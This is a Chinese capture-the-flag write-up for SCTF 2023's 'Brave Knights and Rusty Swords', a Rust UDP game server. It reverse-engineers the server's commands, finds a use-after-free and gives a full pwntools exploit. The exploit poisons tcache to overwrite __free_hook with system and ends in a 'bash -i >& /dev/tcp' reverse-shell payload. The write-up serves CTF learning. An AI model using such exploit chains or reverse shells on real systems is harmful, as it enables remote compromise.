sctf2023 Brave Knights and Rusty Swords

上次在aliyun的比赛上也遇到过rust语言的题,但是那道rust的题是一道传统的堆菜单题,题目的输入输出完全都不用看ida就知道,而且后门函数也直接给出了,很容易就可以写出来。这次sctf给的是一个upd服务程序,输入输出也没有给你很多信息,这下就只能去拿ida去硬逆了(😭)。

由于是udp服务,nc连接时使用nc -u 192.168.184.133 8080

part1

首先看到ida中的main函数很简单,肯定不是逻辑的主体,使用gdb attach程序的进程后发现有server_game::main函数,这个就是真正的逻辑主体函数:

点进去发现流程极其复杂,而且很多代码块都是jmp short $+2相连接的,不知道为什么rust这样编译(感觉没有这个jmp,程序也能往后直接执行相应的代码块)

伪代码就更不用说了,也不是特别好看,有很多奇奇怪怪的函数,不过这里重点关注UdpSocket::recv_from,因为用户就是通过这个函数来传递数据给程序的,而该udp服务是不断接收命令循环的,所以可以初步定位到如下伪代码:

part2

接下来就是找到程序是怎样比较的字符串的,我当时是随便输入一段字符,然后使用gdb定位到UdpSocket::send_to函数,这时是所有的字符都判断失败的情况:

接下来使用ida从定位到UdpSocket::send_to函数自下往上找判断分支的代码块:

最后发现所有的判断分支的代码块都是如下格式,中间的那个函数估计就是判断字符串的,而字符串地址就是在rdx中,ecx就是字符串长度:

进一步查看byte_E64F1地址中的内容就可以知道比较的字符串了

最后我发现其实只有再将上面定位到的伪代码段往下多翻几行就可以看到if后有个cmp字样的函数,很容易想到这个就是判断字符串的函数,不用上面那么麻烦(🧐)

最后可以得到比较的字符串为:

1
2
3
4
5
6
7
8
9
login 
register
purchase
fight
draw_000001
draw_011214
show_infomation
Data_testing_console
write_signature

part3

知道输入什么命令,接下来就容易多了。

login命令的格式是给提示的,可以直接类比到register命令。

purchase是用得到的100 currency去买卡。

draw_000001和draw_011214去抽hero。

fight是去打怪升级,升到10级这个游戏就算是赢了。

Data_testing_console只有在fight完这个游戏后才能使用。

fight的游戏赢了之后并没有什么去执行漏洞代码块的奖励,接下来就只能去看看Data_testing_console了。

进入Data_testing_console命令,一开始就提示我们Enter function name:,查看server_game::Data_testing_console函数的伪代码,这里看伪代码也是只看UdpSocket::recv_fromUdpSocket::send_to函数附近的。发现在该函数中UdpSocket::send_to只调用过一次,发送接下来的字符串Enter the command:,使用gdb attach一下进程发现该过程是在server_game::Memory_Debug_console函数中(带server_game字段的函数都需要看看 😫)

查看server_game::Memory_Debug_console函数伪代码发现有libc字段

联想到function name输入read后发现直接传回了read函数libc地址

剩下的输入命令就使用和part2一样的办法找到命令字段为data_push和quit

part4

输入quit就是退出没什么可说的,输入data_push后又会进入一个server_game::data_push函数,也是用前面的方法找到operation字段push和grow。输入不同的operation接着都会有一个vector number去用switch判断,最后输入一个value。

push和grow,它们switch的case中代码段大致相同。

就伪代码而言自己完全无法知道哪些函数是需要重点关注的,只能使用gdb一步一步去调试,调试的时候注意输入的value,如果是某函数调用的参数也是该value就仔细对比一下函数前后寄存器以及[寄存器]值的变化。

这里我调试push操作时输入的value为48(value尽量特殊一点,这样便于观察),最后定位到一个带push字段的函数

rdi中的值前后对比如下:

多调试几次后就可以知道push的操作就是将value保存到栈上,value不能大于0x100,value就是一个字节的ASCII码,前一个字段就是push数据的大小。

vector number就是可以让value保存到不同区域:

1
2
3
4
# vector number = 1时,在0x95a0 + rsp(server_game::data_push函数中的栈顶) 
# vector number = 2时,在0x96b0 + rsp
# vector number = 3时,在0x97c0 + rsp
# 每个区域正好相差0x110

调试grow操作时,也是定位到一个带grow字段的函数:

同时该函数伪代码中的比较的数据字段意义如下:

在最后有一个带heap字段的函数,它的作用与realloc函数几乎一样:

最后发现vector number的作用与push一样,除了vector number = 2以外,别的vector number都只能使用一次。

当vector number = 2,输入的value(大于0x100时就使用堆存数据)与先前的value一样时该堆块就会释放,但是指针未清零,并且依旧可以使用push传入数据,就是一个uaf。

part5

漏洞利用很简单,libc的地址是白给的,直接利用uaf来实现tcache attack去修改free_hook,最后反弹shell。

最初我的利用代码如下:

1
2
3
4
5
6
7
8
9
10
size = 0x1d0
grow(2, size)
grow(2, size)
send_payload(2, b'\x00' * 0x10)
grow(2, size)
grow(3, size)
send_payload(3, p64(libc.sym['__free_hook'] + libc_base))
grow(4, size)
grow(5, size)
send_payload(5, p64(libc.sym['system'] + libc_base))

利用vector number = 2时可以使用多次,形成double free后直接修改tcache next指针为free_hook,再利用grow申请到free_hook,最后push数据到free_hook。但是实际上这样向free_hook写入数据是直接报错的,当push完第一个字节到free_hook上后,接下来调用drop_in_place函数:

最后有调用的free的功能,这时free_hook中仅有写入的一个字节,但依旧去调用free_hook中的错误地址:

当时我就自闭了😭,之后我看W&M的wp后才知道push操作也能申请堆块,刚开始不使用grow,直接push,如果push的数据大于0x100也是会申请堆上的内存,改用push就可以解决上面的问题。

最后完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import*
p = remote('192.168.184.133',8080, typ='udp')
elf = ELF('server_game')
libc = elf.libc
context.log_level = 'debug'

p.sendline(b'register a a')
p.recvuntil(b'Registration successful! You have received 100 currency.')
p.sendline(b'login a a')
p.recvuntil(b'Welcome back')
p.sendline(b'purchase 100')
p.recvuntil(b'Purchase successful! You have received 10 cards.')
p.sendline(b'draw_000001')
p.recvuntil(b'You have received a new character')
p.sendline(b'draw_000001')
p.recvuntil(b'You have received a new character')

while True:
t = b''
p.sendline(b'fight')
p.recvuntil(b'fight: \n')
p.sendline(b'3')
p.recvuntil(b'flee\n')
while True:
p.sendline(b'attack')
p.recvuntil(b'\n')
t = p.recvuntil(b'\n')
if t != b'\n':
break
p.recvuntil(b'\n')
t = p.recvuntil(b'\n')
if b'Congratulations!' in t:
break
p.recvuntil(b'flee\n')

if b'Congratulations!' in t:
break

def grow(num, size):
p.sendlineafter(b'Enter the operation:', b'grow')
p.sendlineafter(b'Enter the vector number:', str(num).encode())
p.sendlineafter(b'Enter the grow value:', str(size).encode())

def push(num, value):
p.sendlineafter(b'Enter the operation:', b'push')
p.sendlineafter(b'Enter the vector number:', str(num).encode())
p.sendlineafter(b'value:', str(value).encode())

def send_payload(num, payload):
for i in payload:
push(num, i)

p.sendline(b'Data_testing_console')
p.sendlineafter(b'Enter function name:', b'free')
p.recvuntil(b'0x')
leak = int(p.recv(12), 16)
libc_base = leak - libc.sym['free']
libc.address = libc_base
p.sendlineafter(b'Enter the command:', b'data_push')


size = 0x200
grow(1, size)
grow(2, size)
grow(2, size)
send_payload(2, b'\x00' * 0x10)
grow(2, size)
grow(3, size)
send_payload(3, p64(libc.sym['__free_hook'] - 0x58))
grow(4, size)

#pause()
payload = b"/bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'".ljust(0x58, b'\x00') + p64(libc.sym['system'])
payload = payload.ljust(0x1d0, b'\x00')
send_payload(5, payload)
grow(5, size)

# push 1 0x95a0
# push 2 0x96b0
# push 3 0x97c0

sctf2023 Brave Knights and Rusty Swords
https://xtxtn.github.io/2023/06/27/sctf2023/
作者
xtxtn
发布于
2023年6月27日
更新于
2023年6月28日
许可协议